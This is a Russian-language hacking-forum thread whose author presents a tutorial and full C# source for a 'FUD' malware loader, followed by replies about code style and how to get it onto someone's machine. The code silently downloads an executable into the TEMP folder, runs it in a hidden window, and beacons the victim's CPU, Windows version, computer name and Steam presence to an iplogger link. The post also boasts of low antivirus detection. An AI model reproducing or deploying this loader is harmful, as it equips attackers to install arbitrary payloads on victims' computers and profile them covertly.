Загрузка...

Создаем лоадер на C#

Тема в разделе C# создана пользователем anefe 27 окт 2018. 1358 просмотров

  1. anefe
    anefe Автор темы 27 окт 2018 Заблокирован(а) 403 28 окт 2017
    Привет:hi:, с тобой снова aiexz. Сегодня мы будем делать крутой FUD лоадер из говн iplogger'а и Visual Studio
    Почему мой лоадер лучше других?
    Вы можете использовать файл любого формата на своем хостинге.

    Начнем
    Создаем новый проект, выбираем консольное приложение.
    Переходим к коду, подключим библиотеки
    Код
    using System;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;
    Далее, стандартный код
    Код
    namespace aiexzBest
    {
    class Program
    {
    static void Main(string[] args)
    {
    Пишем следующий код, это ссылка на файл. ПРЯМАЯ ССЫЛКА
    Код
    string url = "Сайт для скачивания файла";
    Далее код для запуска функций
    Код
     string FileLocating = FileName();//Директория для скачиваемого файла
    Download(FileLocating,url);//Скачиваем
    RunProcess(FileLocating);//Запускаем
    Logger();//Логер
    }
    Введем функцию загрузки файла
    Код
    private static void Download(string FileLocating,string url)
    {

    WebClient WebClient = new WebClient(); //введем WebClient, с его помощью мы будем получать доступ к интернету
    WebClient.DownloadFile(new Uri(url), FileLocating + ".exe");//Скачиваем файл
    }
    Создаем логгер
    Код
    private static void Logger()
    {
    string link = "ссылка на логер";

    string key = "HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";//Название процессора
    string CPU = (string)Registry.GetValue(key, "ProcessorNameString", null);

    string key1 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion"; //Какая Windows установлена
    string Windows = (string)Registry.GetValue(key1, "ProductName", null);

    string key2 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName"; //Имя ПК
    string Name = (string)Registry.GetValue(key2, "ComputerName", null);

    string key3 = "HKEY_CURRENT_USER\\Software\\Valve\\Steam"; //Есть ли steam на компьютере
    string Steam = (string)Registry.GetValue(key3, "SteamPath", null);

    string steam;
    if (Directory.Exists(Steam))
    {
    steam = "Yes";

    }
    else
    {
    steam = "No";
    }
    {
    WebRequest request = WebRequest.Create(link); //Отправляем данные на iplogger
    request.Credentials = CredentialCache.DefaultCredentials;
    ((HttpWebRequest)request).UserAgent = ("CPU: " + CPU) + (" | Threads: " + Environment.ProcessorCount) + (" | OS: " + Windows) + (" | Name: " + Name) + (" | Steam: " + steam);
    request.GetResponse();
    }

    }
    Запускаем файл
    Код
    private static void RunProcess(string FileLocating)
    {
    Process process = new Process { StartInfo = { FileName = FileLocating + ".exe", WindowStyle = ProcessWindowStyle.Hidden } }; //аргументы для запуска
    process.Start();//запуск файла

    }
    Сохраняем файл в папку TEMP
    Код
    private static string FileName()
    {
    string Temp = Path.GetTempPath(); //Получаем место папки TEMP
    string Ran1 = Path.GetRandomFileName(); //Создаем случайное название для файла
    string FileLocating = Temp + Ran1;
    return FileLocating;
    }
    }
    }
    Итого получаем такую программу
    Код
    using System;
    using System.Net;
    using System.IO;
    using Microsoft.Win32;
    using System.Diagnostics;

    namespace ConsoleApp4
    {
    class Program
    {
    static void Main(string[] args)
    {
    string url = "ссылка на файл";
    string FileLocating = FileName();//Директория для скачиваемого файла
    Download(FileLocating,url);//Скачиваем
    RunProcess(FileLocating);//Запускаем
    Logger();//Логер
    }


    private static void Download(string FileLocating,string url)
    {

    WebClient WebClient = new WebClient();
    WebClient.DownloadFile(new Uri(url), FileLocating + ".exe");
    }
    private static void Logger()
    {
    string link = "логер";

    string key = "HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0";
    string CPU = (string)Registry.GetValue(key, "ProcessorNameString", null);

    string key1 = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion";
    string Windows = (string)Registry.GetValue(key1, "ProductName", null);

    string key2 = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ComputerName\\ComputerName";
    string Name = (string)Registry.GetValue(key2, "ComputerName", null);

    string key3 = "HKEY_CURRENT_USER\\Software\\Valve\\Steam";
    string Steam = (string)Registry.GetValue(key3, "SteamPath", null);

    string steam;
    if (Directory.Exists(Steam))
    {
    steam = "Yes";

    }
    else
    {
    steam = "No";
    }
    {
    WebRequest request = WebRequest.Create(link);
    request.Credentials = CredentialCache.DefaultCredentials;
    ((HttpWebRequest)request).UserAgent = ("CPU: " + CPU) + (" | Threads: " + Environment.ProcessorCount) + (" | OS: " + Windows) + (" | Name: " + Name) + (" | Steam: " + steam);
    request.GetResponse();
    }

    }
    private static void RunProcess(string FileLocating)
    {
    Process process = new Process { StartInfo = { FileName = FileLocating + ".exe", WindowStyle = ProcessWindowStyle.Hidden } };
    process.Start();

    }
    private static string FileName()
    {
    string Temp = Path.GetTempPath();
    string Ran1 = Path.GetRandomFileName();
    string FileLocating = Temp + Ran1;
    return FileLocating;
    }}}
    На выходе получаем такие детекты
    https://spyralscanner.net/result.php?id=3DCc5ISKit
    #МояСтатья
     
    27 окт 2018 Изменено
  2. anefe
    anefe Автор темы 27 окт 2018 Заблокирован(а) 403 28 окт 2017
    Говоришь, что говнокод-исправляй
     
  3. jordan2019
    jordan2019 28 окт 2018 Заблокирован(а) 267 21 мар 2018
    ООП юзай,его будет меньше!
     
  4. anefe
    anefe Автор темы 28 окт 2018 Заблокирован(а) 403 28 окт 2017
    jordan2019, объясни, что такое ООП?
     
  5. jordan2019
    jordan2019 28 окт 2018 Заблокирован(а) 267 21 мар 2018
    парадигма)
     
  6. ExluZiver
    ExluZiver 28 окт 2018 :sueta: Твори Добро | Твоя Совесть | Всем Счастья :sueta: 10 829 18 окт 2018
    Сложно, сколько по времени коды прописывали?
     
  7. jordan2019
    jordan2019 28 окт 2018 Заблокирован(а) 267 21 мар 2018
    Это элементарно!
     
  8. anefe
    anefe Автор темы 28 окт 2018 Заблокирован(а) 403 28 окт 2017
    ExluZiver, если пастить, то минутное дело, а если придумывать, то минут за 30 можно придумать
     
  9. anefe
    anefe Автор темы 28 окт 2018 Заблокирован(а) 403 28 окт 2017
    Какие сложные слова:angry:
    Может на вики статья есть? Или объяснение?
     
  10. jordan2019
    jordan2019 28 окт 2018 Заблокирован(а) 267 21 мар 2018
    ну гуглани что такое ООП
     
  11. Arseh
    Arseh 28 окт 2018 З̶а̶б̶л̶о̶к̶и̶р̶о̶в̶а̶н̶ 66 12 июн 2017
    мож мне написать тож 0 фуд лоадер
     
  12. animatrix
    animatrix 28 окт 2018 45 26 окт 2018
    А как этим пользоваться?
     
  13. anefe
    anefe Автор темы 28 окт 2018 Заблокирован(а) 403 28 окт 2017
    Arseh, так, этот лоадер FUD
     
  14. anefe
    anefe Автор темы 28 окт 2018 Заблокирован(а) 403 28 окт 2017
    animatrix, скопировать в visual studio и скомпилировать
     
  15. Arseh
    Arseh 28 окт 2018 З̶а̶б̶л̶о̶к̶и̶р̶о̶в̶а̶н̶ 66 12 июн 2017
    палится будет скоро
     
  16. jordan2019
    jordan2019 28 окт 2018 Заблокирован(а) 267 21 мар 2018
    Типо твой не будет)
     
  17. animatrix
    animatrix 28 окт 2018 45 26 окт 2018
    Я не про код, а про программу, она же в открытую в интернет лезет, как ее подсунуть кому-то?
     
  18. anefe
    anefe Автор темы 28 окт 2018 Заблокирован(а) 403 28 окт 2017
    animatrix, я тебя не понимаю, это лоадер, он Файлы загружает и запускает
     
  19. Arseh
    Arseh 28 окт 2018 З̶а̶б̶л̶о̶к̶и̶р̶о̶в̶а̶н̶ 66 12 июн 2017
    скажешь как мани получить? больно на говне сидеть
     
  20. jordan2019
    jordan2019 28 окт 2018 Заблокирован(а) 267 21 мар 2018
    Иди блять браузер пиши!
     
Загрузка...
Top